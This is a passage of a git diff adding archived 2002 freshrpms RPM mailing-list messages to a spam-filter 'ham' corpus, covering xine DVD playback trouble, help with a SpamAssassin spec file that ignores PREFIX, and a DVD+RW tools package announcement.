(8.11.6/8.11.6/EGWN) with ESMTP id + g7DJjxJ03366 for ; Tue, 13 Aug 2002 21:45:59 +0200 +Received: from localhost (localhost.localdomain [127.0.0.1]) by + tartarus.telenet-ops.be (Postfix) with SMTP id 7ADBCDCA80 for + ; Tue, 13 Aug 2002 21:45:49 +0200 (CEST) +Received: from zoe (D5760A9D.kabel.telenet.be [213.118.10.157]) by + tartarus.telenet-ops.be (Postfix) with ESMTP id 4F0ECDCA7E for + ; Tue, 13 Aug 2002 21:45:49 +0200 (CEST) +Content-Type: text/plain; charset="us-ascii" +From: Nick Verhaegen +To: rpm-zzzlist@freshrpms.net +Subject: xine problems +User-Agent: KMail/1.4.1 +MIME-Version: 1.0 +Message-Id: <200208132145.51754.nick@permflux.org> +X-Mailscanner: Found to be clean, Found to be clean +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by egwn.net id + g7DJjxJ03366 +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 13 Aug 2002 21:45:51 +0200 +Date: Tue, 13 Aug 2002 21:45:51 +0200 + +Hi, + + I'm no longer able to play encrypted dvd's using the xine rpm from freshrpms. +I think it was about a week ago when I last rented some dvd's, worked just +fine, but apparently since the latest xine update on freshrpms, it won't +anymore. +The output is : + +input_dvd: Sorry, this plugin doesn't play encrypted DVDs. The legal status + of CSS decryption is unclear and we can't provide such code. + Please check http://dvd.sf.net for more information. + +I'm pretty sure it worked with the previous freshrpms release... Any way of +rolling back updates ? + +Nick Verhaegen + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01221.d30e48a0c5ab88993f5d3b9e934c724e b/bayes/spamham/easy_ham_2/01221.d30e48a0c5ab88993f5d3b9e934c724e new file mode 100644 index 0000000..e66e5d8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01221.d30e48a0c5ab88993f5d3b9e934c724e @@ -0,0 +1,144 @@ +From rpm-list-admin@freshrpms.net Wed Aug 14 10:59:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 119F24413D + for ; Wed, 14 Aug 2002 05:51:38 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:51:38 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7E6NQ403793 for + ; Wed, 14 Aug 2002 07:23:27 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7E6L2J22652; Wed, 14 Aug 2002 08:21:02 + +0200 +Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7E6KGJ17437 for + ; Wed, 14 Aug 2002 08:20:16 +0200 +Received: from viper (pcp484936pcs.whtmrs01.md.comcast.net [68.33.188.8]) + by mtaout06.icomcast.net (iPlanet Messaging Server 5.1 HotFix 0.8 (built + May 13 2002)) with SMTP id <0H0T00FC6LGEJJ@mtaout06.icomcast.net> for + rpm-list@freshrpms.net; Wed, 14 Aug 2002 02:17:02 -0400 (EDT) +From: Victor +Subject: Problem with my spec file +To: rpm-zzzlist@freshrpms.net +Message-Id: <001201c2435a$2e4051c0$6501a8c0@viper> +MIME-Version: 1.0 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 7BIT +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 14 Aug 2002 02:16:52 -0400 +Date: Wed, 14 Aug 2002 02:16:52 -0400 + +Can someone tell me what I am doing wrong? it's like make doesn't take the +PREFIX override... It's crazy. I don't get it... +OS: TurboLinux6 rmp3.0.6 make 3.79.1 + +I just don't get this. It should work... + +--- + +%define real_name Mail-SpamAssassin +%define real_version 2.31 + +######################################################################## +# Package Information +######################################################################## +Name: SpamAssassin +Version: 2.31 +Summary: SpamAssassin - A perl-based spam filter +URL: http://www.spamassassin.org +Group: Networking/Mail +License: Artistic +Release: 1 + +######################################################################## +# Sources/Patches +######################################################################## +Source0: http://spamassassin.org/devel/%{real_name}-%{real_version}.tar.gz + +######################################################################## +# Build Configuration +######################################################################## +BuildRoot: %{_builddir}/%{real_name}-%{real_version}-root +BuildArchitectures: i586 + +######################################################################## +# Package Description +######################################################################## +%description + SpamAssassin provides you with a way to reduce if not completely +eliminate + Unsolicited Commercial Email (SPAM) from your incoming email. It can + be invoked by a MDA such as sendmail or postfix, or can be called from + a procmail script, .forward file, etc. It uses a genetic-algorithm + evolved scoring system to identify messages which look spammy, then + adds headers to the message so they can be filtered by the user's mail + reading software. This distribution includes the spamd/spamc components + which create a server that considerably speeds processing of mail. + +%prep +%setup -q -n %{real_name}-%{real_version} + +######################################################################## +# Compilation/Installation Instructions (use macros/switches if possible) +######################################################################## +%build + %{__perl} Makefile.PL LOCAL_RULES_DIR=/etc/spamassassin +INSTALLDIRS=vendor PREFIX=%{_prefix} + make OPTIMIZE="$RPM_OPT_FLAGS" PREFIX=%{_prefix} +%install + rm -rf $RPM_BUILD_ROOT + %makeinstall PREFIX=%{buildroot}%{_prefix} \ + INSTALLMAN1DIR=%{buildroot}%{_mandir}/man1 \ + INSTALLMAN3DIR=%{buildroot}%{_mandir}/man3 \ + LOCAL_RULES_DIR=%{buildroot}%{_sysconfdir}/spamassassin + install -m 0711 -D spamd/redhat-rc-script.sh +%{buildroot}/etc/init.d/spamassassind +%clean + rm -rf $RPM_BUILD_ROOT + +######################################################################## +# RPM file inclusion section (see CRUX guidelines) +######################################################################## +%files +%defattr(-,root,root) +%attr(0711,root,root) /etc/init.d/spamassassind +%attr(0644,root,root) %config(noreplace) /etc/spamassassin/* +%attr(0755,root,root) %dir %{_datadir}/spamassassin +%attr(0755,root,root) %{_bindir}/* +%attr(0644,root,root) %{_datadir}/spamassassin/* +%attr(-,root,root) %{_libdir}/* + +######################################################################## +# Changelog - Keep it short and simple +######################################################################## +%changelog +* Sun Apr 28 2002 Victor +- Initial Release + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01222.1fec3adca72a796b71bf14d0e4c64ebe b/bayes/spamham/easy_ham_2/01222.1fec3adca72a796b71bf14d0e4c64ebe new file mode 100644 index 0000000..013f2e8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01222.1fec3adca72a796b71bf14d0e4c64ebe @@ -0,0 +1,87 @@ +From rpm-list-admin@freshrpms.net Wed Aug 14 11:00:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7CBCC440FC + for ; Wed, 14 Aug 2002 05:51:54 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:51:54 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7E8Fe406571 for + ; Wed, 14 Aug 2002 09:15:40 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7E8D2J25576; Wed, 14 Aug 2002 10:13:02 + +0200 +Received: from gateway.gestalt.entity.net + (host217-39-152-198.in-addr.btopenworld.com [217.39.152.198]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7E8BiJ25374 for + ; Wed, 14 Aug 2002 10:11:44 +0200 +Received: from turner.gestalt.entity.net (turner.gestalt.entity.net + [192.168.0.253]) by gateway.gestalt.entity.net (8.11.6/8.11.2) with ESMTP + id g7E8GHM07292 for ; Wed, 14 Aug 2002 09:16:17 + +0100 +Subject: Re: Problem with my spec file +From: Dave Cridland +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <001201c2435a$2e4051c0$6501a8c0@viper> +References: <001201c2435a$2e4051c0$6501a8c0@viper> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 (1.0.8-5) +Message-Id: <1029312977.16565.77.camel@turner.gestalt.entity.net> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 14 Aug 2002 09:16:17 +0100 +Date: 14 Aug 2002 09:16:17 +0100 + +On Wed, 2002-08-14 at 07:16, Victor wrote: +> Can someone tell me what I am doing wrong? it's like make doesn't take the +> PREFIX override... It's crazy. I don't get it... +> OS: TurboLinux6 rmp3.0.6 make 3.79.1 + +I'm decoding this to mean: + +"This spec file installs in the system, rather than in the build root, +even though I am passing the relevant overrides to make. It is as if the +Makefile does not allow overrides, or does not have those variables." + +I note that: + +1) It's one of those Makefile.PL things. +2) While I know that Makefiles generated by a ./configure generated in +turn by a later version of auto* do support the technique you're trying, +I know nothing about what the Perl MakeMaker (or whatever it is) +supports. + +The general solution for cases like this is to install manually (Try +make -n and see what it does). I think that Perl's installer system +might support an installation root, though I've blissfully no idea how +to operate it. + +I suggest finding a small Perl module SRPM and looking at the spec file +to see how RedHat (or Turbo, or PLD, although RedHat generally know +*all* the tricks) do it. + +Dave. + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01223.3e4bf4c4b5151a46b40e5caacd368ad2 b/bayes/spamham/easy_ham_2/01223.3e4bf4c4b5151a46b40e5caacd368ad2 new file mode 100644 index 0000000..bdf3e21 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01223.3e4bf4c4b5151a46b40e5caacd368ad2 @@ -0,0 +1,83 @@ +From rpm-list-admin@freshrpms.net Wed Aug 14 11:00:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B0D1C44145 + for ; Wed, 14 Aug 2002 05:51:59 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:51:59 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7E8nI407422 for + ; Wed, 14 Aug 2002 09:49:18 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7E8g2J29481; Wed, 14 Aug 2002 10:42:02 + +0200 +Received: from athlon.ckloiber.com (rdu25-28-106.nc.rr.com [24.25.28.106]) + by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7E8fbJ29410 for + ; Wed, 14 Aug 2002 10:41:38 +0200 +Received: (from ckloiber@localhost) by athlon.ckloiber.com (8.11.6/8.11.6) + id g7E8fUK02211; Wed, 14 Aug 2002 04:41:30 -0400 +X-Authentication-Warning: athlon.ckloiber.com: ckloiber set sender to + ckloiber@ckloiber.com using -f +Subject: DVD+RW tools available (Was: Re: How to add service port ?) +From: Chris Kloiber +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020812123237.4014ef57.matthias@egwn.net> +References: <3D578B98.79F80294@traderman.co.uk> + <20020812123237.4014ef57.matthias@egwn.net> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) +Message-Id: <1029314490.1736.8.camel@athlon.ckloiber.com> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 14 Aug 2002 04:41:30 -0400 +Date: 14 Aug 2002 04:41:30 -0400 + +On Mon, 2002-08-12 at 06:32, Matthias Saou wrote: +> Once upon a time, Yen wrote : +> +> > How do I install / add an additional service port to the system which +> > can be access via Microsoft ODBC driver? +> +> I honestly have no idea, and this is probably not the best list to expect +> an answer as it is supposed to discuss rpm packages/packaging matters. +> +> If you're using Red Hat Linux 7.3, you should try this list : +> https://listman.redhat.com/mailman/listinfo/valhalla-list + +I had to take a stab at answering that for a paying customer yesterday. +I _think_ you need to install postgreql-odbc and its' dependencies. Then +probably a bit of configuration to open a port to the network. But +Matthias is right, this is not the right place for this question. + +To bring things back on topic, I was practicing my "rpmbuild'n skillz" +and made an rpm with some simple software tools to drive my DVD+RW +burner. No GUI frontend, but it works just fine from the command line. I +even used it to burn a bootable DVD version of Red Hat 7.3. + +ftp://people.redhat.com/ckloiber/dvd+rw-tools-0.1.src.rpm + +-- +Chris Kloiber + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01224.9a1ab58ee0dfbe03561e80fb9c84071e b/bayes/spamham/easy_ham_2/01224.9a1ab58ee0dfbe03561e80fb9c84071e new file mode 100644 index 0000000..3ba36fa --- /dev/null +++ b/bayes/spamham/easy_ham_2/01224.9a1ab58ee0dfbe03561e80fb9c84071e @@ -0,0 +1,153 @@ +From rpm-list-admin@freshrpms.net Wed Aug 14 11:00:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7E48B44146 + for ; Wed, 14 Aug 2002 05:52:01 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:52:01 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7E8us407619 for + ; Wed, 14 Aug 2002 09:56:54 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7E8r2J09414; Wed, 14 Aug 2002 10:53:02 + +0200 +Received: from athlon.ckloiber.com (rdu25-28-106.nc.rr.com [24.25.28.106]) + by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7E8qdJ09212 for + ; Wed, 14 Aug 2002 10:52:39 +0200 +Received: (from ckloiber@localhost) by athlon.ckloiber.com (8.11.6/8.11.6) + id g7E8qbw02327; Wed, 14 Aug 2002 04:52:37 -0400 +X-Authentication-Warning: athlon.ckloiber.com: ckloiber set sender to + ckloiber@ckloiber.com using -f +Subject: Re: Problem with my spec file +From: Chris Kloiber +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <001201c2435a$2e4051c0$6501a8c0@viper> +References: <001201c2435a$2e4051c0$6501a8c0@viper> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) +Message-Id: <1029315157.2215.18.camel@athlon.ckloiber.com> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 14 Aug 2002 04:52:37 -0400 +Date: 14 Aug 2002 04:52:37 -0400 + +spamassassin-2.31-15.src.rpm is in RawHide. Take a look at how it's +.spec file fixes the problem(s) you are encountering. + +On Wed, 2002-08-14 at 02:16, Victor wrote: +> Can someone tell me what I am doing wrong? it's like make doesn't take the +> PREFIX override... It's crazy. I don't get it... +> OS: TurboLinux6 rmp3.0.6 make 3.79.1 +> +> I just don't get this. It should work... +> +> --- +> +> %define real_name Mail-SpamAssassin +> %define real_version 2.31 +> +> ######################################################################## +> # Package Information +> ######################################################################## +> Name: SpamAssassin +> Version: 2.31 +> Summary: SpamAssassin - A perl-based spam filter +> URL: http://www.spamassassin.org +> Group: Networking/Mail +> License: Artistic +> Release: 1 +> +> ######################################################################## +> # Sources/Patches +> ######################################################################## +> Source0: http://spamassassin.org/devel/%{real_name}-%{real_version}.tar.gz +> +> ######################################################################## +> # Build Configuration +> ######################################################################## +> BuildRoot: %{_builddir}/%{real_name}-%{real_version}-root +> BuildArchitectures: i586 +> +> ######################################################################## +> # Package Description +> ######################################################################## +> %description +> SpamAssassin provides you with a way to reduce if not completely +> eliminate +> Unsolicited Commercial Email (SPAM) from your incoming email. It can +> be invoked by a MDA such as sendmail or postfix, or can be called from +> a procmail script, .forward file, etc. It uses a genetic-algorithm +> evolved scoring system to identify messages which look spammy, then +> adds headers to the message so they can be filtered by the user's mail +> reading software. This distribution includes the spamd/spamc components +> which create a server that considerably speeds processing of mail. +> +> %prep +> %setup -q -n %{real_name}-%{real_version} +> +> ######################################################################## +> # Compilation/Installation Instructions (use macros/switches if possible) +> ######################################################################## +> %build +> %{__perl} Makefile.PL LOCAL_RULES_DIR=/etc/spamassassin +> INSTALLDIRS=vendor PREFIX=%{_prefix} +> make OPTIMIZE="$RPM_OPT_FLAGS" PREFIX=%{_prefix} +> %install +> rm -rf $RPM_BUILD_ROOT +> %makeinstall PREFIX=%{buildroot}%{_prefix} \ +> INSTALLMAN1DIR=%{buildroot}%{_mandir}/man1 \ +> INSTALLMAN3DIR=%{buildroot}%{_mandir}/man3 \ +> LOCAL_RULES_DIR=%{buildroot}%{_sysconfdir}/spamassassin +> install -m 0711 -D spamd/redhat-rc-script.sh +> %{buildroot}/etc/init.d/spamassassind +> %clean +> rm -rf $RPM_BUILD_ROOT +> +> ######################################################################## +> # RPM file inclusion section (see CRUX guidelines) +> ######################################################################## +> %files +> %defattr(-,root,root) +> %attr(0711,root,root) /etc/init.d/spamassassind +> %attr(0644,root,root) %config(noreplace) /etc/spamassassin/* +> %attr(0755,root,root) %dir %{_datadir}/spamassassin +> %attr(0755,root,root) %{_bindir}/* +> %attr(0644,root,root) %{_datadir}/spamassassin/* +> %attr(-,root,root) %{_libdir}/* +> +> ######################################################################## +> # Changelog - Keep it short and simple +> ######################################################################## +> %changelog +> * Sun Apr 28 2002 Victor +> - Initial Release +> +> +> _______________________________________________ +> RPM-List mailing list +> http://lists.freshrpms.net/mailman/listinfo/rpm-list +-- +Chris Kloiber + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01225.71c8590849d96555fde5e7808616b484 b/bayes/spamham/easy_ham_2/01225.71c8590849d96555fde5e7808616b484 new file mode 100644 index 0000000..f6191a6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01225.71c8590849d96555fde5e7808616b484 @@ -0,0 +1,96 @@ +From rpm-list-admin@freshrpms.net Wed Aug 14 11:00:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3261644148 + for ; Wed, 14 Aug 2002 05:52:04 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:52:04 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7E9Js408293 for + ; Wed, 14 Aug 2002 10:19:54 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7E9H1J23300; Wed, 14 Aug 2002 11:17:03 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7E9GcJ23205 for + ; Wed, 14 Aug 2002 11:16:39 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: Problem with my spec file +Message-Id: <20020814111509.1d51dbca.matthias@egwn.net> +In-Reply-To: <001201c2435a$2e4051c0$6501a8c0@viper> +References: <001201c2435a$2e4051c0$6501a8c0@viper> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 14 Aug 2002 11:15:09 +0200 +Date: Wed, 14 Aug 2002 11:15:09 +0200 + +Once upon a time, Victor wrote : + +> Can someone tell me what I am doing wrong? it's like make doesn't take +> the PREFIX override... It's crazy. I don't get it... +> OS: TurboLinux6 rmp3.0.6 make 3.79.1 +> +> I just don't get this. It should work... +> +[...] +> +> %build +> %{__perl} Makefile.PL LOCAL_RULES_DIR=/etc/spamassassin +> INSTALLDIRS=vendor PREFIX=%{_prefix} +> make OPTIMIZE="$RPM_OPT_FLAGS" PREFIX=%{_prefix} +> %install +> rm -rf $RPM_BUILD_ROOT +> %makeinstall PREFIX=%{buildroot}%{_prefix} \ +> INSTALLMAN1DIR=%{buildroot}%{_mandir}/man1 \ +> INSTALLMAN3DIR=%{buildroot}%{_mandir}/man3 \ +> LOCAL_RULES_DIR=%{buildroot}%{_sysconfdir}/spamassassin +[...] + +Well, first you need to look at the Makefile.PL to see if it uses the +PREFIX you're trying to pass to it or not. Maybe you'll need to "override" +other paths when doing the "make". +Second, the "%makeinstall" macro automatically overrides many common values +like "prefix=" or "datadir=", so it's completely redundant with the +"PREFIX=" you're passing to it. Take a look at the "Makefile" you have at +that point to see how the "install" target is, and what it uses. + +Last, as Chris suggested, you can take a look at an existing package, like +the one in Rawhide ;-) + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01226.79de0c0f26c26ba6e6021366da834e3e b/bayes/spamham/easy_ham_2/01226.79de0c0f26c26ba6e6021366da834e3e new file mode 100644 index 0000000..cd2f127 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01226.79de0c0f26c26ba6e6021366da834e3e @@ -0,0 +1,84 @@ +From rpm-list-admin@freshrpms.net Wed Aug 14 11:00:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3EC3444147 + for ; Wed, 14 Aug 2002 05:52:03 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:52:03 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7E981408020 for + ; Wed, 14 Aug 2002 10:08:01 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7E941J01629; Wed, 14 Aug 2002 11:04:01 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7E92XJ21375 for + ; Wed, 14 Aug 2002 11:02:33 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: xine problems +Message-Id: <20020814110203.45ff2d74.matthias@egwn.net> +In-Reply-To: <200208132145.51754.nick@permflux.org> +References: <200208132145.51754.nick@permflux.org> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 14 Aug 2002 11:02:03 +0200 +Date: Wed, 14 Aug 2002 11:02:03 +0200 + +Once upon a time, Nick wrote : + +> I'm no longer able to play encrypted dvd's using the xine rpm from +> freshrpms. +> I think it was about a week ago when I last rented some dvd's, worked +> just fine, but apparently since the latest xine update on freshrpms, it +> won't anymore. +> The output is : +> +> input_dvd: Sorry, this plugin doesn't play encrypted DVDs. The legal +> status +> of CSS decryption is unclear and we can't provide such code. +> Please check http://dvd.sf.net for more information. +> +> I'm pretty sure it worked with the previous freshrpms release... Any way +> of rolling back updates ? + +If you get this message, it means that you're using the "DVD" button, which +is the default DVD plugin and doesn't support decryption. You should either +use the "d4d" one (no menus) or "d5d" (with menus). + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01227.2a74d803e3b1d121faad841830195140 b/bayes/spamham/easy_ham_2/01227.2a74d803e3b1d121faad841830195140 new file mode 100644 index 0000000..0297055 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01227.2a74d803e3b1d121faad841830195140 @@ -0,0 +1,86 @@ +From rpm-list-admin@freshrpms.net Wed Aug 14 11:00:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AF03D44149 + for ; Wed, 14 Aug 2002 05:52:05 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:52:05 +0100 (IST) +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7E9Sc408536 for + ; Wed, 14 Aug 2002 10:28:38 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g7E9Q2J02895; Wed, 14 Aug 2002 11:26:02 + +0200 +Received: from python (gw01.es3.egwn.net [212.9.66.13]) (authenticated) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g7E9PgJ01953 for + ; Wed, 14 Aug 2002 11:25:43 +0200 +From: Matthias Saou +To: rpm-zzzlist@freshrpms.net +Subject: Re: DVD+RW tools available (Was: Re: How to add service port ?) +Message-Id: <20020814112328.325411bb.matthias@egwn.net> +In-Reply-To: <1029314490.1736.8.camel@athlon.ckloiber.com> +References: <3D578B98.79F80294@traderman.co.uk> + <20020812123237.4014ef57.matthias@egwn.net> + <1029314490.1736.8.camel@athlon.ckloiber.com> +Organization: Electronic Group Interactive +X-Mailer: Sylpheed version 0.8.1claws (GTK+ 1.2.10; 